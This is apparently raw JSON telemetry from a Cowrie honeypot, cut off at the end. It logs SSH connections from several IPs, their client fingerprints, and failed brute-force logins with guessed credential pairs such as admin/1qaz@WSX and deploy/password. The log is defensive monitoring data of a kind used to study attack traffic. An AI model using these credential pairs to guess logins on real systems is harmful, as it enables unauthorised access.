{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58020,"dst_ip":"159.203.135.109","dst_port":22,"session":"72db3737bfcd","protocol":"ssh","message":"New connection: 91.92.40.171:58020 (159.203.135.109:22) [session: 72db3737bfcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:16.262520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:16.306604Z","src_ip":"91.92.40.171","session":"72db3737bfcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:16.395020Z","src_ip":"91.92.40.171","session":"72db3737bfcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:16.771941Z","src_ip":"91.92.40.171","session":"72db3737bfcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:18.024981Z","src_ip":"91.92.40.171","session":"72db3737bfcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54460,"dst_ip":"10.17.0.5","dst_port":22,"session":"24a7bc294ed9","protocol":"ssh","message":"New connection: 103.153.68.219:54460 (10.17.0.5:22) [session: 24a7bc294ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:18.126073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:18.130425Z","src_ip":"103.153.68.219","session":"24a7bc294ed9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:18.383580Z","src_ip":"103.153.68.219","session":"24a7bc294ed9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lizaaa","message":"login attempt [root/lizaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:19.118289Z","src_ip":"103.153.68.219","session":"24a7bc294ed9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:20.365710Z","src_ip":"103.153.68.219","session":"24a7bc294ed9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52678,"dst_ip":"159.203.135.109","dst_port":22,"session":"90fbce4180d5","protocol":"ssh","message":"New connection: 91.92.42.133:52678 (159.203.135.109:22) [session: 90fbce4180d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:21.936384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:22.024469Z","src_ip":"91.92.42.133","session":"90fbce4180d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:22.027457Z","src_ip":"91.92.42.133","session":"90fbce4180d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:22.488811Z","src_ip":"91.92.42.133","session":"90fbce4180d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:23.582831Z","src_ip":"91.92.42.133","session":"90fbce4180d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58088,"dst_ip":"159.203.135.109","dst_port":22,"session":"f512f459ca86","protocol":"ssh","message":"New connection: 91.92.40.171:58088 (159.203.135.109:22) [session: f512f459ca86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:24.508125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:24.539357Z","src_ip":"91.92.40.171","session":"f512f459ca86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:25.856755Z","src_ip":"91.92.40.171","session":"f512f459ca86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36346,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1f2841066c4","protocol":"ssh","message":"New connection: 91.92.40.171:36346 (159.203.135.109:22) [session: b1f2841066c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:28.850084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:28.924491Z","src_ip":"91.92.40.171","session":"b1f2841066c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:29.003016Z","src_ip":"91.92.40.171","session":"b1f2841066c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48420,"dst_ip":"159.203.135.109","dst_port":22,"session":"62d5fb475bd5","protocol":"ssh","message":"New connection: 91.92.42.133:48420 (159.203.135.109:22) [session: 62d5fb475bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:29.054826Z"}
{"eventid":"cowrie.session.closed","duration":35.77591681480408,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:29.179399Z","src_ip":"172.81.62.90","session":"4fe313b5ae14","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:29.404322Z","src_ip":"91.92.42.133","session":"62d5fb475bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:29.424738Z","src_ip":"91.92.42.133","session":"62d5fb475bd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:29.529585Z","src_ip":"91.92.40.171","session":"b1f2841066c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:29.570875Z","src_ip":"91.92.40.171","session":"f512f459ca86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:30.645598Z","src_ip":"91.92.40.171","session":"b1f2841066c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:30.720551Z","src_ip":"91.92.42.133","session":"62d5fb475bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:31.551914Z","src_ip":"91.92.40.171","session":"f512f459ca86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:31.819651Z","src_ip":"91.92.42.133","session":"62d5fb475bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51568,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1d78557bfa4","protocol":"ssh","message":"New connection: 91.92.40.171:51568 (159.203.135.109:22) [session: a1d78557bfa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:36.441245Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42784,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a1a43197e45","protocol":"ssh","message":"New connection: 91.92.42.133:42784 (159.203.135.109:22) [session: 3a1a43197e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:37.050299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:37.144917Z","src_ip":"91.92.42.133","session":"3a1a43197e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:37.151451Z","src_ip":"91.92.42.133","session":"3a1a43197e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"111111","message":"login attempt [tom/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:38.249299Z","src_ip":"91.92.42.133","session":"3a1a43197e45","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:38.421342Z","src_ip":"91.92.40.171","session":"a1d78557bfa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:38.424392Z","src_ip":"91.92.40.171","session":"a1d78557bfa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:39.817776Z","src_ip":"91.92.42.133","session":"3a1a43197e45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":51808,"dst_ip":"10.17.0.5","dst_port":22,"session":"32239fdf37dc","protocol":"ssh","message":"New connection: 117.121.214.50:51808 (10.17.0.5:22) [session: 32239fdf37dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:40.468748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:45:40.472821Z","src_ip":"117.121.214.50","session":"32239fdf37dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes